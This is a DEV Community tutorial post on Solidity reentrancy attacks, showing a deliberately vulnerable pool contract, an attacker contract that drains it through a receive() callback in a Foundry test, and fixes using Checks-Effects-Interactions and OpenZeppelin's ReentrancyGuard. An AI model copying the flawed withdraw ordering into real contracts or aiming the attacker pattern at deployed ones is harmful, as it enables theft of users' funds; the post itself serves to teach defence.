DEV Community

Cover image for Reentrancy Attacks: The Billion-Dollar Solidity Vulnerability [Code Walkthrough]
Régis
Régis

Posted on

Reentrancy Attacks: The Billion-Dollar Solidity Vulnerability [Code Walkthrough]

Reentrancy attacks remain a billion-dollar vulnerability in Solidity smart contracts. In this code walkthrough, you’ll discover how attackers exploit this flaw to drain funds, and how you can protect your smart contract to secure your DApps.

What is a Reentrancy Attack?

A Reentrancy attack occurs when a malicious contract repeatedly calls back into a vulnerable contract before the original execution completes. This can happen, for example, during an external call to a withdrawal function, before the contract has had a chance to update its internal state. As a result, the attacker can exploit this window to drain funds or manipulate the contract’s behavior based on an outdated state.

Now, let’s walk through a simplified example to see how Reentrancy can happen. Can you spot the vulnerability in the following smart contract?

pragma solidity ^0.8.13;

// /!\ DO NOT USE THIS CODE IN PRODUCTION !!!
contract ReentrancyPool {
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        unchecked {
            userBalance[msg.sender] += msg.value;
        }
    }

    function withdraw(uint256 amount) public {
        require(userBalance[msg.sender] >= amount, "Insufficient balance");  // Check if user has enough balance
        (bool success,) = msg.sender.call{value: amount}(new bytes(0));  // Send requested Ether to the user
        require(success, "Transfer failed"); 
        unchecked {
            userBalance[msg.sender] -= amount;  // Update user's balance
        }

    }

}
Enter fullscreen mode Exit fullscreen mode

In the following code, we have a Pool contract that tracks user balances. This balance is updated when a user makes a deposit by providing some ETH to the smart contract. Then, later on, he can withdraw it by calling the withdraw() function.

Take a moment to think about what could go wrong here…

Okay, so the issue is in the withdraw() function. In a smart contract, we execute a contract instructions by instructions, right? So first, it checks the user balance, which is correct if the user has some funds. Then, send the funds to the user by giving the requested amount. Now, here come the issue.

If you send some funds using your address (External Owned Account), nothing happens. However, nothing prevents you to create a smart contract that is going to call this function, right? And in Solidity, you can create a receive() function that will be called when someone sends you some ETH. Now, when the Pool contract sends some ETH to the smart contract, it is going to call the receive() function. But wait, my user balance has not changed, right? Can I call the withdraw() function again? I mean, the Pool still have some ETH available and I still have some value in my balance, as it has not updated it yet! I can take advantage of this to request more money from the Pool!

This is exactly what a Reentrancy attack looks like. Basically, the contract still has not completed his process and have not updated his state accordingly. Let’s illustrate the potential workflow for an attacker with a diagram:

Reentrancy Attack — Exploit Workflow

In blue, we have the initial call done by an attacker. At first, the attacker deposits some ETH in the Pool to update his user balance. Once deposited, he can withdraw them. When withdraw, illustrated in red, the Pool contract is going to call the receive() function. As the user balance is not updated yet, the attacker can call again the withdraw() function to extract more ETH.

 Proof of Exploit: How Attackers Use Reentrancy Attacks

Enough theory, let’s see how we can write a smart contract that is going to exploit the Pool. We are going to use Foundry to create a simple test case for that.

I have commented in TODO the implementation part if you want to try on your own in your computer.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {ReentrancyPool} from "../src/ReentrancyPool.sol";


contract ReentrancyPoolTest is Test {

    address deployer = makeAddr("deployer");
    address attacker = makeAddr("attacker");

    ReentrancyPool public pool;

    function setUp() public {
        startHoax(deployer);
        pool = new ReentrancyPool();
        pool.deposit{value: 100e18}();
        vm.deal(attacker, 1e18);  // Give some ETH to the attacker
        vm.stopPrank();
    }

    function test_exploit() public {
        vm.startPrank(attacker);

        // TODO: Try to do a reentrancy
        // Hint: Maybe you need to create your own contract?

        vm.stopPrank();
        assert(address(pool).balance == 0);
        assert(attacker.balance == 0);
    }
}
Enter fullscreen mode Exit fullscreen mode

Did you give it a try? Did you manage to spot the issue?

Or maybe you scrolled too far and got spoiled 😅 Not easy, but I try my best!

Alright, I believe in you, and I’m sure you nailed it. Congrats!

Let’s see how we can create our malicious smart contract:

contract AttackerContract {
    ReentrancyPool public pool;

    constructor(address _pool) {
        pool = ReentrancyPool(_pool);
    }

    function attack() external payable {
        pool.deposit{value: msg.value}();
        pool.withdraw(1e18);
    }

    receive() external payable {
        if (address(pool).balance >= 1e18) {
            pool.withdraw(1e18);
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

In this smart contract, we have implemented a receive() function that is going to call the withdraw() function from the Pool, while it still has some ETH available.

To complete our implementation, in the first test case, we can update the TODO comment by adding the following code:

AttackerContract attackerContract = new AttackerContract(address(pool));
attackerContract.attack{value: 1e18}();
Enter fullscreen mode Exit fullscreen mode

Alright, hope you succeed to do it on your side. Now, let’s try to understand what went wrong here and how can we fix this issue.

Preventing Reentrancy Attacks: The Checks-Effects-Interactions Pattern

In the code sample, the main issue was regarding the user balance state. It was not updated accordingly, while we were calling another smart contract, that could, again, interact with our smart contract. In Solidity, a good practice is to follow a Checks-Effects-Interactions pattern, where we:

  1. Checks — Validate inputs and conditions (e.g., require statements).
  2. Effects — Update the contract’s internal state.
  3. Interactions — Interact with external contracts (e.g., transfer ETH, call other contracts).

Apply the Checks-Effects-Interactions pattern

Let’s see how we can modify our code to implement the Checks-Effects-Interactions pattern:

function withdraw(uint amount) public {
    require(userBalance[msg.sender] >= amount, "Insufficient balance"); // Check
    userBalance[msg.sender] -= amount;                                  // Effect
    (bool success,) = msg.sender.call{value: amount}(new bytes(0));     // Interaction
    require(success, "Transfer failed");
}
Enter fullscreen mode Exit fullscreen mode

If you notice in the code, we have updated the execution order by moving the update balance operation before sending the ETH to the user. By doing so, we ensure that we are modifying the state of the contract first, before calling another smart contract.

Note: We also remove the unchecked flag. By removing it, it ensures that we do not do any overflow, another vulnerability that we might talk in another article.

The Checks-Effects-Interactions pattern is a good practice for smart contract, avoiding Reentrancy exploit. However, sometimes, due to contract logic and complexity, we can be restricted on how we can modify the state inside our Smart Contract. This is where other tools can help us, such as ReentrancyGuard from OpenZeppelin.

OpenZeppelin’s Reentrancy Guard

You may already be familiar with whom is OpenZeppelin. It provides audited and optimized contract, allowing you to use them directly in your project. If you have ever created your first ERC20, you might have used OpenZeppelin.

The reason to use a library such as OpenZeppelin is they provided audited smart contract, allowing us to reducing the need to write low-level logic from scratch, increasing our code confidence. We still have to be cautious on the implementation, as it does not remove any vulnerabilities, but rather help us to build our smart contract with strong foundations.

In the OpenZeppelin security utilities, they are providing a ReentrancyGuard contract which helps us to manage reentrancy issue.

To implement it, we need to import the ReentrencyGuard by importing

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
Enter fullscreen mode Exit fullscreen mode

Then, we need to inherit our contract by doing

contract ReentrancyPoolFixed is ReentrancyGuard {
   // ...
}
Enter fullscreen mode Exit fullscreen mode

Finally, we can use the provided modifier called nonReentrant in our withdraw() function. We can see the full implementation bellow:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract ReentrancyPoolFixed is ReentrancyGuard {
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        userBalance[msg.sender] += msg.value;
    }

    // Add the `nonReentrant` modifier
    function withdraw(uint256 amount) public nonReentrant {
        require(userBalance[msg.sender] >= amount, "Insufficient balance");  // Check if user has enough balance
        userBalance[msg.sender] -= amount;  // Update user's balance
        (bool success,) = msg.sender.call{value: amount}(new bytes(0));  // Send requested Ether to the user
        require(success, "Transfer failed"); 
    }

}
Enter fullscreen mode Exit fullscreen mode

Note: Even if we are using the ReentrancyGuard it does not mean that we need to skip good practice! This is the reason why we are keeping the Checks-Effects-Interactions pattern.

How does the ReentrancyGuard works?

Great, it seems now we are protected from reentrancy, but let’s try to understand how ReentrancyGuard works behind the wheel. If we take a look at the source code, the nonReentrant modifier works by setting a flag before and after the execution of our function.

modifier nonReentrant() {
    _nonReentrantBefore();
    _;
    _nonReentrantAfter();
}
Enter fullscreen mode Exit fullscreen mode

The state variable modified is called _status which defined the state of the contract.

uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
Enter fullscreen mode Exit fullscreen mode

By using a simple flag, we can track whether a function is already in execution, allowing us to ensure that someone is not calling, again, this function.

Optimization note: In case the deployed blockchain is using the EIP-1153 you can use the ReentrancyGuardTransient contract instead. A quick word on this, Transient Storage is non permanent data, that will be used only during a transaction. So instead of storing the _status flag in memory, we can store it in the transaction state, allowing us to keep preserving reentrancy protection while using cheaper gas.

Apply What You’ve Learned: Reentrancy CTFs

We are not in a classroom, feel free to jump directly to the conclusion. But, if you want to progress and be sure to understand how reentrancy works, I would strongly recommend you to do some challenges or Capture The Flag (CTF), to see if you understand completely how reentrancy works.

Before diving it, be sure to understand and familiar with the code of this article. If you need more examples, feel free to ask questions or to see other examples.

https://solidity-by-example.org/hacks/re-entrancy/

If you want some exercice, I can recommend you:

If you want a more challenging exercise and you are not afraid of learning by doing, I would recommend you this challenge:

It will be a tough one, but you will learn a lot through this. Maybe I will write some articles on other principle covering other aspects that could guide you through this challenge!

Conclusion

Alright, seems we cover a lot in this article. We have seen what is a reentrancy attack, what impacts it can have on a protocol and how you can protect your smart contract from exploits. Hope you learn a lot!

To continue your learning journey, I am writing a series of articles related to blockchain, you can subscribe to it if you are looking to improve your skills.

Before leaving, I need your feedback on this, was this walkthrough practical? Was it helpful for you? Or simply boring? A simple emoji as 👍 or 👎 can make the difference for me and help me to improve it!

Finally, if you want to discuss about your blockchain project, or smart contract development, feel free to reach out or connect on Linkedin.

Keep building!

Top comments (0)